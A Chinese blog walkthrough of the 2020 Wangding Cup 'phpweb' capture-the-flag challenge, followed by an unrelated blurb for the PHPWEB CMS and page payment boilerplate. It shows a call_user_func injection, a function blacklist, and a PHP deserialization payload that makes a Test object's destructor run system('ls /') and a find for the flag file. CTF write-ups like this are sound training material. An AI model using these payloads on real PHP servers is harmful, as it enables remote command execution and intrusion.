[网鼎杯 2020 朱雀组]phpweb

打开题目

Warning: date(): It is not safe to rely on the system’s timezone settings. You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone ‘UTC’ for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24
2021-11-05 06:48:31 am

查看源代码,关键代码如下

<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>

根据页面显示,这两个提交的数据应该是可以利用的。
先禁用js,再手动提交参数测试。

index.php?func=a

回显

Warning: call_user_func() expects parameter 1 to be a valid callback, function ‘a’ not found or invalid function name in /var/www/html/index.php on line 24

那么call_user_func的参数应该分别是我们提交的funcp
理论上讲已经可以直接拿到flag了

index.php?func=file_get_contents&p=index.php

得到源码

    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

正常传递函数和参数恐怕是难以绕过,但源码里有一个类,那么方法已经很显然了,传递一个反序列化函数和一个序列化字符串,利用魔术方法获取flag

index.php?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var var

出人意料的是,flag不在根目录下,查找flag文件也找不到,可能改了名字

index.php?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:21:"find / -name '*flag*'";s:4:"func";s:6:"system";}

得到大量数据,当然不能一个一个去看,找找看起来不正常的
在这里插入图片描述
最终找到一个

/tmp/flagoefiu4r93

拿到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
软件名称:PHPWEB分享式智能网站管理系统UTF-8简体中文版v1.2.0 软件类别:PHP/CMS建站/免费软件 下载地址:http://down.phpweb.net/soft/phpweb_base_v12.zip 开发商主页:http://www.phpweb.net/ 演示地址:http://www.phpweb.net/webtry/ 系统简介: PHPWEB分享式智能网站管理系统-是一款具有专业级功能和傻瓜式管理的网站管理软件。全新的可视化插件拖放排版模式,让网站制作如同搭积木般便捷易玩;独立的插件、边框、菜单灵活合和任意定位,让您摆脱页面框架的束缚,尽享创意的乐趣;无限扩展、共同分享的插件和模版资源让您的网站越来越丰富多彩;专业的网站内容管理功能、灵活的权限配置、强大的会员功能,让您DIY制作的网站绝不逊色于专业开发;模块化的构架,可卸载和安装模块; PHPWEBV1.2.0集成了基础模块、图文模块、产品展示模块、新闻文章模块、图片展示模块、文件下载模块、留言点评模块、会员模块、网站广告模块、素材特效模块、客服工单模块、网站工具模块等网站应用模块,并具有会员权限控制、积分、点评等一系列会员互动功能。我们将逐步为不同行业用户量身打造行业模板,让您以最快捷的方式,最低的成本创建功能强大的企业网站。PHPWEB是您高效便捷的网站管理工具。PHPWEB可免费用于非商业用途,无需购买授权,直接安装使用。商业用户可以购买各种行业模板、扩展模块和官方支持服务。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值